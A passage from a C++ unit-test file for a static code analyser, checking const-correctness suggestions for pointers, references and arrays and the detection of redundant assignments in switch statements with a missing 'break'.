ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" 